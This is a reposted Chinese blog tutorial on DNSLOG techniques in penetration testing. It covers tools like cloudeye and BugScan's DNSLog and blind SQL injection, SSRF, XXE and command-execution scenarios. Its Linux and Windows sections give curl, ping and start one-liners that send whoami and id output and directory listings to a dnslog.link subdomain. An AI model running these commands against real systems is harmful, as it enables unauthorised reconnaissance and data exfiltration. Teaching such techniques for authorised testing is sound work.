A-A+

DNSLOG使用技巧

2019年08月30日 文章转载 暂无评论 阅读 4,992 views 次

1、文章简介

本文主要介绍渗透测试中DNSLOG中的一些使用技巧,最开始接触这类工具的就是cloudeye,记得那会乌云还在,是需要乌云币还是邀请码我忘记了。
再后面,我接触了bugscan,发现里面有一个开源的dnslog,原理基本类似,功能都挺全的,但是在线版的需要到bugscan网站的2级会员权限,然后本人就是努力提交bugscan的插件,把bugscan网站设置为主页,每天登陆获取积分,好不容易才熬到的2级会员(好像是60积分的样子),虽然现在bugscan的扫描不能使用了,但是我还是非常感谢四叶草这个团队的,他算是我刚入门的一个行业导师,从那些插件中我学习到了很多东西!

2、DNSLOG开源工具代码

首先,DNSLOG工具,bugscan已经公布在了github上,地址如下:

  1. https://github.com/BugScanTeam/DNSLog

3、在线网站地址

  1. http://cloudeye.me/
  2. http://admin.dnslog.link/

4、应用场景

在渗透测试中,经常会遇到如下场景:

  1. 1sql注入不能回显
  2. 2blind类型的ssrf以及xxe漏洞
  3. 3、无回显的命令执行漏洞
  4. ……

5、基本实现原理

DNS在解析的时候会留下日志,这类工具就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在多级子域名中,传递到我们自己的服务器中,然后读取日志,获取特定信息,最后根据获取的信息来判断我们渗透测试的动作是否成功运行。

6、linux系统中dnslog渗透测试技巧

  1. curl http://xxx.dnslog.link/`whoami`
  2.  
  3. ping -c 1 `whoami`.xxx.dnslog.link
  4. 如果碰到内容有空格(换行符等),就会截断,只输出前面的,这时候可以利用编码来输出,但有输出字符数最大限制;
  5. curl http://xxx.dnslog.link/$(id|base64)
  6. curl http://xxx.dnslog.link/`id|base64`
  7.  
  8. 编码base64之后,还有换行符的,可以把字符串中的 '\n'换成其他字符,如 '-':
  9. curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-')
  10. curl http://xxx.dnslog.link/`id|base64|tr '\n' '-'`
  11. 碰到ls这类多个输出的命令,直接使用脚本;
  12. for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
  13.  

7、windows系统中dnslog渗透测试技巧

利用HTTP请求将结果使用默认浏览器弹出:

  1. for /F %x in ('whoami') do start http://xxx.dnslog.link/%x

利用DNS请求获取计算机名、用户名:

  1. 获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
  2. 获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

探测目录文件列表,由于dir有/b参数,不显示修改日期等信息,只显示文件名,所以可以弹出:

  1. for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg

原文链接:http://www.tiaozhanziwo.com/archives/851.html

标签:

给我留言